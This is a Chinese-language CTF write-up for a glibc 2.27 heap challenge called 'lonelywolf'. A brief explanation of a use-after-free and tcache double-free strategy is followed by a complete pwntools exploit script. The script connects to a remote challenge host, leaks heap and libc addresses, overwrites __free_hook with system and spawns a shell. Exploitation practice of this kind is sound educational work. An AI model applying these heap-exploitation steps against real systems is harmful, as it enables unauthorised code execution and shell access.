题目只能申请一个chunk指针,但是可以重复申请chunk,而且存在uaf,不可溢出
首先绕过tcache的check使用double free泄露堆地址(老版本是可以直接free的,但是新版本需要free后edit一下再free),然后通过uaf在tcache中存放好两个指针,一个用来修改size,一个用来free chunk,之后申请0x70chunk,和另一个chunk防止合并。接着通过第一根指针修改size>0x80,然后通过第二根指针free此chunk,使用double free将他free 8次填满tcache,第八次会到unsortedbin中,之后泄露libc,打free_hook为system。
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
ms = remote("119.3.230.244",22774)
#ms = process("./lonelywolf")
libc = ELF("./libc-2.27.so")
def add(size):
ms.sendlineafter('Your choice: ', '1')
ms.sendlineafter('Index: ', str(0))
ms.sendlineafter('Size: ', str(int(size)))
#ms.sendlineafter('now you can write something\n', content)
def edit(n,text):
ms.sendlineafter("Your choice: ",'2')
ms.sendlineafter("Index: ",str(n))
#ms.sendlineafter("Size: ",len(text))
ms.sendlineafter("Content: ",text)
def free(n):
ms.sendlineafter('Your choice: ', '4')
ms.sendlineafter('Index: ', str(n))
def show(n):
ms.sendlineafter("Your choice: ",'3')
ms.sendlineafter("Index: ",str(n))
add(0x20)
free(0)
edit(0,'\x00'*0x10)
free(0)
show(0)
ms.recvuntil("Content: ")
heap = u64(ms.recv(6).ljust(8,'\x00'))
log.info("heap="+hex(heap))
edit(0,p64(heap+0x60))
add(0x30)
free(0)
edit(0,p64(heap+0x70))
add(0x70)
add(0x40)
edit(0,p64(0)+p64(0x41))
add(0x20)
add(0x20)
edit(0,p64(0)+p64(0x91))
add(0x30)
add(0x30)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
edit(0,'\x00'*0x10)
free(0)
show(0)
ms.recvuntil("Content: ")
main_arena = u64(ms.recv(6).ljust(8,'\x00'))-96
log.info("main_arena="+hex(main_arena))
malloc_hook = main_arena-0x10
libc_base = malloc_hook-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]
ogg = libc_base+0x10a41c
add(0x70)
add(0x70)
add(0x10)
free(0)
edit(0,p64(free_hook))
add(0x10)
add(0x10)
edit(0,p64(system))
add(0x10)
edit(0,"/bin/sh\x00")
free(0)
#gdb.attach(ms)
ms.interactive()